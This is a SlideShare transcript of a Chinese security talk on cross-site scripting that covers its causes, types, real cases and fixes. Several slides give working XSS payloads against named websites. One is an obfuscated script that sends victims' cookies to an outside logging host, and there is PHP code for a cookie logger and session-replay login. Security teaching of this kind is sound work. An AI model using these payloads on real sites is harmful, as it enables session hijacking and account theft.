Your SlideShare is downloading. ×
  • Like
Share xss
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Now you can save presentations on your phone or tablet

Available for both IPhone and Android

Text the download link to your phone

Standard text messaging rates apply
Published

 

Published in Education
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
No Downloads

Views

Total Views
2,339
On SlideShare
0
From Embeds
0
Number of Embeds
1

Actions

Shares
Downloads
42
Comments
0
Likes
1

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. 跨站脚本漏洞分享 盛大在线:徐江涛 博客: http://www.paitoubing.cn
  • 2.
      • 5 、总结 & 提问
    跨站脚本漏洞
      • 1 、 跨站脚本漏洞原理及其危害
      • 2 、跨站脚本漏洞分类
      • 3 、跨站脚本漏洞及案例
      • 4 、跨站脚本漏洞修补建议
  • 3. Cross site scripting 简称 XSS 原理: 利用网站的漏洞向网站的页面注入 JAVASCRIPT 等脚本内容。 根源:程序的输入、输出没有考虑安全因素。 跨站脚本漏洞原理及其危害
  • 4. XSS Cheat Sheet http://ha.ckers.org/xss.html 了解不同浏览器和各种特殊的 HTML 标签如何执行脚本。 XSS 需要使用的关键字 '';!--&quot;<XSS>=&{()} 各类伪协议头: Javascript: vbscript: 跨站脚本漏洞原理及其危害
  • 5. CSS 样式表脚本注入 style=xss:expression(eval(String.fromCharCode(105,102,40,119,105,110,100,111,119,46, 120,33,61,34,49,34,41,123,97,108,101,114,116,40,34,120,115,115,34,41,59,119,105,110,100,111,119,46,120,61,34,49,34,59,125))) expression 变形。 Expression 实际内容 if(window.x!=&quot;1&quot;){alert(&quot;xss&quot;);window.x=&quot;1&quot;;} 跨站脚本漏洞原理及其危害
  • 6. 挂马 插入恶意的脚本内容,运行病毒、木马。 钓鱼 篡改网页内容,骗取账号、密码等诈骗行为。 劫持会话 读取会话 COOKIE, 传送给第三方劫持身份。 XSS Worm 使用 AJAX 技术,做几何趋势的增长传播。 跨站脚本漏洞原理及其危害
  • 7. 非持久型 XSS 需要从 URL 传参,点击链接触发。 持久型 XSS XSS 内容已存储到数据库,写到固定页面。 DOM XSS JAVASCRIPT 处理数据输出出现漏洞。 浏览器的漏洞造成的 XSS 跨站脚本漏洞原理及其危害
  • 8. 表单值容易出现 XSS 搜索框、信息提示、个人资料、友情链接、背景图片等等。 各类表单值、隐藏的表单值都很危险。 跨站脚本漏洞及案例 案例 www.speak2me.com www.wealink.com www.gourmet114.com bambook.sdo.com
  • 9. 跨站脚本漏洞及案例 <option value=&quot;5&quot; > 初级 </option><option value=&quot;2&quot; > 中级 </option><option value=&quot;3&quot; > 高级 </option> </select> <input name=&quot;key&quot; class=&quot;f-text&quot; type=&quot;text&quot; style=&quot;margin-right:15px&quot; value=&quot;&quot;><body onload=alert(document.cookie)><&quot;&quot;/> <input type=&quot;submit&quot; class=&quot;f-button&quot; value=&quot; 搜索课程 &quot; /> 搜索结果代码 http://www.speak2me.cn/index.php/Lessons/index/key/%22%3E%3Cbody%20onload%3Dalert(document.cookie)%3E%3C%22/x/39/y/10/ 非持久 XSS 过滤了反斜杠 /
  • 10. 跨站脚本漏洞及案例 http://www.speak2me.cn/index.php/share/1804746 HTML 代码 : <div class=&quot;share-content&quot;><p> <a href=&quot;http://&quot;><body onload=eval(String.fromCharCode(118,97,114,32,105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,105,109,103,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,112,97,105,116,111,117,98,105,110,103,46,99,110,47,108,111,103,46,112,104,112,63,99,61,39,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,39,34))><a a=&quot;&quot; target=&quot;_blank&quot;>http://&quot;> 持久 XSS
  • 11. 跨站脚本漏洞及案例 劫持会话 攻击代码 var img = new Image();img.src=&quot;http://xss.paitoubing.cn/log.php?c='&quot;+document.cookie+&quot;'&quot; 118,97,114,32,105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,105,109,103,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,112,97,105,116,111,117,98,105,110,103,46,99,110,46,99,110,47,108,111,103,46,112,104,112,63,99,61,39,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,39,34 unicode 转换成 10 进制编码
  • 12. 跨站脚本漏洞及案例 http://group.wealink.com/groups/feed 前端验证了非法字符 这样就安全了吗?
  • 13. 跨站脚本漏洞及案例 通过 GET 方法跳过前端 http://group.wealink.com/groups/search?keyword=%22%3E%3Cbody%20onload=alert(1)%3E%3C%22
  • 14. 跨站脚本漏洞及案例 http://www.gourmet114.com/search?key=%3Esss%3C%3E 通过 PHP 函数 strip_tags 去掉字符串中包含的任何 HTML 及 PHP 的标记字符串 无懈可击?
  • 15. 跨站脚本漏洞及案例 照样篡改网页 http://www.gourmet114.com/search?key=%22%3E 真悲剧 未过滤、粗心大意安全隐患
  • 16. 跨站脚本漏洞及案例 这个图、很熟悉吧 其实这是一个通知、不是过滤
  • 17. 看图不说话、你懂的
  • 18. 高级案例 劫持会话 记录会话 模拟登录 发送 xss 给好友 删除个人信息 跨站蠕虫流程图
  • 19. 高级案例 记录会话 PHP 实例代码 <?php if( isset($_REQUEST['c']) ){ file_put_contents('./hi.log', $_SERVER['REQUEST_TIME'].&quot; &quot;.$_SERVER['QUERY_STRING'].&quot; &quot;, FILE_APPEND); } echo '200 ok'; 模拟登陆 PHP 实例代码 function _fetchUrl($url,$cookie) { global $ch; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_REFERER,&quot;&quot;); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_COOKIE,$cookie); curl_setopt($ch, CURLOPT_HEADERFUNCTION, 'read_header'); $html = curl_exec($ch); curl_close($ch); return $html; }
  • 20. 高级案例 ZEND 调试环境下模拟登陆成功
  • 21. 使用 htmlspecialchars 打开引号参数 htmlspecialchars ( $xss, ENT_QUOTES ) & ==> &amp &quot; ==> &quot; ' ==> &#039; // 需要打开引号参数 < ==> &lt; > ==> &gt; 跨站脚本漏洞修补建议
  • 22. 使用 qsafehtml 安全类 UBB 安全类 富文本安全类 跨站脚本漏洞修补建议
  • 23. 跨站脚本漏洞和 Web 应用紧密相关,同时又涉及到客户端浏览器的安全特性。 Web 安全已经不是单一的程序输出输出问题,必须从服务端、客户端、应用多方面考虑。 跨站脚本漏洞修补建议
  • 24. Thank you